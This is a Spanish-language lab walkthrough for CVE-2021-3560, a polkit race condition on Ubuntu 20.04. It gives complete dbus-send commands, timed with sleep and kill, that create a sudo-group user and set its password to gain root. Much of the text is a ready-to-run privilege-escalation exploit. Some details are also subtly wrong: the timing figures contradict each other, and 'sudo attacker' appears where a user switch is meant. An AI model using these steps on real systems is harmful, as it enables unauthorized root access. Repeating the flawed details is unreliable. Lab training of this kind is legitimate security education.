
Exploit para CVE-2021-3560: una condición de carrera en polkit que permite a usuarios no privilegiados obtener acceso root en distribuciones Linux vulnerables mediante manipulación de mensajes dbus.
A principios de 2021, un investigador llamado Kevin Backhouse descubrió una vulnerabilidad de escalada de privilegios de siete años de antigüedad (designada CVE-2021-3560) en la utilidad polkit de Linux. Afortunadamente, diferentes distribuciones de Linux (e incluso diferentes versiones de una misma distribución) utilizan versiones distintas del software, lo que implica que solo algunas son vulnerables.
En concreto, las siguientes distribuciones principales, entre otras, eran vulnerables:
Red Hat Enterprise Linux 8 Fedora 21 (o posterior) Debian Testing ("Bullseye") Ubuntu 20.04 LTS ("Focal Fossa") Todas deberían haber lanzado versiones parcheadas de sus respectivos paquetes polkit; sin embargo, si te encuentras con alguna de estas distribuciones, es posible que aún sea vulnerable si no se ha actualizado durante un tiempo.
Para esta sala nos centraremos específicamente en Ubuntu 20.04. Canonical lanzó un parche para su versión de polkit (policykit-1), que tiene el número de versión 0.105-26ubuntu1.1. La última versión vulnerable disponible en los repositorios apt para Focal Fossa es 0.105-26ubuntu1, por lo que, si ves esta, ¡puede que tengas suerte!
Podemos usar apt list --installed | grep policykit-1 para comprobar la versión instalada de polkit:
La pregunta lógica en este momento es: "¿Qué es polkit?"
Polkit forma parte del sistema de autorización de Linux. En efecto, cuando intentas realizar una acción que requiere un nivel de privilegios más alto, el toolkit de políticas se puede usar para determinar si tienes los permisos necesarios. Está integrado con systemd y es mucho más configurable que el sistema sudo tradicional. De hecho, a veces se le conoce como el "sudo de systemd".
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1
Este comando enviará manualmente un mensaje dbus al daemon de cuentas, mostrando la respuesta y creando un nuevo usuario llamado attacker (string:attacker) con una descripción de "Pentester Account" (string:"Pentester Account") y pertenencia al grupo sudo establecida en true (referenciada por el flag int32:1).
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUSER_ID org.freedesktop.Accounts.User.SetPassword string:'PASSWORD_HASH' string:'Ask the pentester'
Esto envía nuevamente un mensaje dbus al daemon de cuentas, solicitando un cambio de contraseña para el usuario con un ID que especificamos (mostrado en rojo), un hash de contraseña que debemos generar manualmente y una pista ("Ask the pentester").
Como esto es efectivamente una condición de carrera, primero debemos determinar cuánto tiempo tardará nuestro comando en ejecutarse. Probemos esto con el primer mensaje dbus:
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1
Ejemplo:
real 0m0.11s
user 0m0.002s
sys 0m0000s
Esto toma 0.011 segundos, o 11 milisegundos. Este número será ligeramente diferente cada vez que ejecutes el comando; sin embargo, en la máquina proporcionada debería estar siempre alrededor de este número.
Necesitamos matar el comando aproximadamente a la mitad de su ejecución. Cinco milisegundos suele funcionar bastante bien en la máquina proporcionada; sin embargo, ten en cuenta que esto no es exacto. Puede que necesites cambiar el tiempo de sleep, o ejecutar el comando varias veces antes de que funcione. Dicho esto, una vez que encuentres un tiempo que funcione, debería funcionar de manera consistente. Si te cuesta encontrar un tiempo que funcione, poner el comando dentro de un bucle for en bash y probar rápidamente un rango de tiempos suele funcionar bastante bien.
Probemos esto. Necesitamos enviar el mensaje dbus, luego matarlo aproximadamente a la mitad:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.005s; kill $!
Para explicar el comando anterior, enviamos el mensaje dbus en un trabajo en segundo plano (usando el ampersand para poner el comando en segundo plano). Luego le indicamos que duerma durante 5 milisegundos (sleep 0.005s) y luego mate el proceso anterior ($!). Esto creó exitosamente el nuevo usuario, añadiéndolo al grupo sudo.
Debemos anotar en este punto que el ID de usuario del nuevo usuario en este caso es 1000.
id attacker
Ahora solo necesitamos darle una contraseña al usuario y ¡ya deberíamos estar listos!
Necesitamos un hash de contraseña aquí, así que generemos un hash Sha512Crypt para nuestra contraseña elegida (Expl01ted):
openssl passwd -6 Expl01ted
Usando openssl, generamos una contraseña de tipo 6 (SHA512-crypt) y nuestra contraseña en texto plano (Expl01ted).
¡Ahora terminemos esto! 5 milisegundos funcionaron la última vez, así que debería funcionar aquí también:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!
sudo attacker
sudo -l
sudo -s
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#about